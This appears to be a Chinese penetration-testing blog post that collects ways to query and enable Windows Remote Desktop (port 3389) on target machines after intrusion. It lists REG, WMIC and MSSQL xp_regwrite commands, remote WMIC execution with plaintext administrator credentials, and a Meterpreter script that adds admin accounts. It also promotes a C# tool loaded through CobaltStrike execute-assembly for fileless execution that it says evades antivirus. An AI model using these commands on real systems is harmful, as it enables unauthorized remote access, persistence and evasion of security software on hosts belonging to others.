干货分享 | 查询和开启3389端口方式总结

admin 2022年3月15日21:58:30评论778 views1字数 5327阅读17分45秒阅读模式
这篇文章在去年的时候有发过,不过后边又做了一点补充,所以重新发一遍。


0x01 查询3389端口方式总结

fDenyTSConnections值是计算机远程管理中的开启/关闭远程桌面选项,fEnableWinStation值是远程桌面会话主机配置中的RDP-TCP启用/禁用连接选项,可以通过以下命令来查询、开启和关闭3389远程桌面。


注:如果fDenyTSConnections值为0开启状态,但还是不能连接3389远程桌面,这时我们可以去看下fEnableWinStation值是否为0了,1:Enable,0:Disable,该值在PC机上设置无效,因为没有远程桌面会话主机配置,从Windows 2012开始,tsconfig.msc和tsadmin.msc管理单元都已经被移除了。

reg query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v fEnableWinStationreg add "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v fEnableWinStation /t REG_DWORD /d 1 /f


(1) REG查询3389状态(0:ON、1:OFF)
REG query "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
干货分享 | 查询和开启3389端口方式总结

(2) REG查询3389端口(16进制->10进制)

REG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp" /v PortNumberREG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumberset /a Port=0xd3d
干货分享 | 查询和开启3389端口方式总结

(3) tasklist、netstat命令查询3389端口

tasklist /svc | findstr "TermService"netstat -ano | findstr "2972"
干货分享 | 查询和开启3389端口方式总结

注:有时也会遇到特殊情况,如某虚拟主机自建低权限用户运行的IIS(Users、IIS_IUSRS),tasklist /svc不显示服务名,注册表查看是0xd3d,但netstat -ano里又没有3389端口,这可能是因为3389远程终端被关闭了,Users权限下只能根据个人经验盲猜可疑端口号。

干货分享 | 查询和开启3389端口方式总结

(4) Meterpreter的netstat查询3389端口

有时我们会遇到不能执行netstat、tasklist和reg等命令的情况,这时可通过Meterpreter下的netstat命令来快速查询3389端口,先找0.0.0.0运行的svchost.exe,然后根据个人经验盲猜可疑端口。


常见端口大家都知道,如:FTP、RPC等,就不细说了,有顺序的端口指定不是,剩下的就一个58895了。

干货分享 | 查询和开启3389端口方式总结

0x02 开启3389端口方式总结

如果目标主机没有配置过远程桌面服务,第一次开启3389远程桌面服务时可能需要添加下防火墙入站规则,允许3389端口,也可以选择关闭系统自带防火墙,命令如下。

netsh advfirewall firewall add rule name="Remote Desktop" protocol=tcp dir=in localport=3389 action=allow


修改3389端口前需要在防火墙添加修改远程端口的入站规则,或者暂时关闭防火墙,否则用修改后的端口号可能会连接不上,修改完成后还需要重启下TermService服务。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 9527 /fnet stop TermService /ynet start TermService


(1) MSF命令开启3389端口

支持系统:

  • XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016

meterpreter > run getgui -e
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.[!] Example: run post/windows/manage/enable_rdp OPTION=value [...][*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez [email protected][*] Enabling Remote Desktop[...SNIP...]
干货分享 | 查询和开启3389端口方式总结

注:这个脚本可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。


(2) REG命令开启3389端口

支持系统:

  • XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(0:ON、1:OFF)

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

干货分享 | 查询和开启3389端口方式总结


(3) WMIC命令开启3389端口

支持系统:

  • Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
干货分享 | 查询和开启3389端口方式总结

(4) WMIC开启远程主机3389端口:

支持系统:

  • Win2k/XP/Win2k3

wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
  • Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.0.116 /user:administrator /password:betasec!@#123 RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1wmic /node:192.168.0.116 /user:administrator /password:betasec!@#123 process call create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
干货分享 | 查询和开启3389端口方式总结


注意事项:

  1. 其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。

  2. WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。

  3. 错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。

干货分享 | 查询和开启3389端口方式总结

(5) Windows API开启3389端口

冷逸老哥用C++写的“开3389工具”有点小问题,在两台Windows2008主机上测试时分别报出缺少vcruntime140.dll、api-ms-win-crt-runtime-l1-1-0.dll,可以自己去调试编译下

干货分享 | 查询和开启3389端口方式总结


根据@冷逸老哥的思路用C#也写了一个,目标框架:.NET Framework 2.0,可用CobaltStrike execute-assembly加载到内存中实现无落地执行。


其工具原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表,与无Net.exe添加管理员用户一样,都是直接利用Windows API执行相应操作!!!

  • https://github.com/3had0w/Open3389


应用场景-1:

目标主机因存在某安全防护软件而无法用reg、wmic命令开启3389端口时,可以尝试使用这款工具来查询和开启3389端口,可用execute-assembly加载到内存中执行。

干货分享 | 查询和开启3389端口方式总结

应用场景-2:

目标主机因存在某安全防护软件(如:某锁、某安全卫士)在拦截rundll32.exe时则不能用execute-assembly加载到内存中执行,所以只能选择落地执行,目前为止还是免杀的。

干货分享 | 查询和开启3389端口方式总结

(6) MSSQL xp_regwrite开启3389端口

应用场景:

xp_cmdshell被禁用/删除且无法恢复时,可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口,也可以选择用sp_OACreate、Agent Job等其他命令执行方式。

1、查询3389开启状态exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server' ,'fDenyTSConnections'
2、查询3389远程桌面端口exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'
3、开启3389远程桌面端口(0:ON、1:OFF)exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;
干货分享 | 查询和开启3389端口方式总结

(7) 一次开启3389端口失败原因的查找

通过计算机右键开启远程桌面或REG、WMIC开启3389端口命令都执行成功,但netstat -ano没有3389端口,tasklist /svc也没有TermService服务,最后在Services.msc找到TermService服务时发现:<读取描述失败。错误代码2>。出现这种情况是因为对应的C:WindowsSystem32termsrv.dll文件已经不存在了,可能是笔者以前在测试RDPWrap项目时给误删除掉了。

干货分享 | 查询和开启3389端口方式总结


启动TermService服务时必须加载termsrv.dll,所以无法通过常规方式开启3389端口,这时我们只需要将原来备份的termsrv.dll或找到对应版本操作系统的termsrv.dll拷贝到C:WindowsSystem32目录下,启动TermService服务,重新开启3389远程桌面后即可解决。

干货分享 | 查询和开启3389端口方式总结

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗干货分享 | 查询和开启3389端口方式总结

往期文章有彩蛋哦干货分享 | 查询和开启3389端口方式总结

干货分享 | 查询和开启3389端口方式总结

一如既往的学习,一如既往的整理,一如即往的分享干货分享 | 查询和开启3389端口方式总结

如侵权请私聊公众号删文


原文始发于微信公众号(渗透Xiao白帽):干货分享 | 查询和开启3389端口方式总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日21:58:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货分享 | 查询和开启3389端口方式总结http://cn-sec.com/archives/829203.html

发表评论

匿名网友 填写信息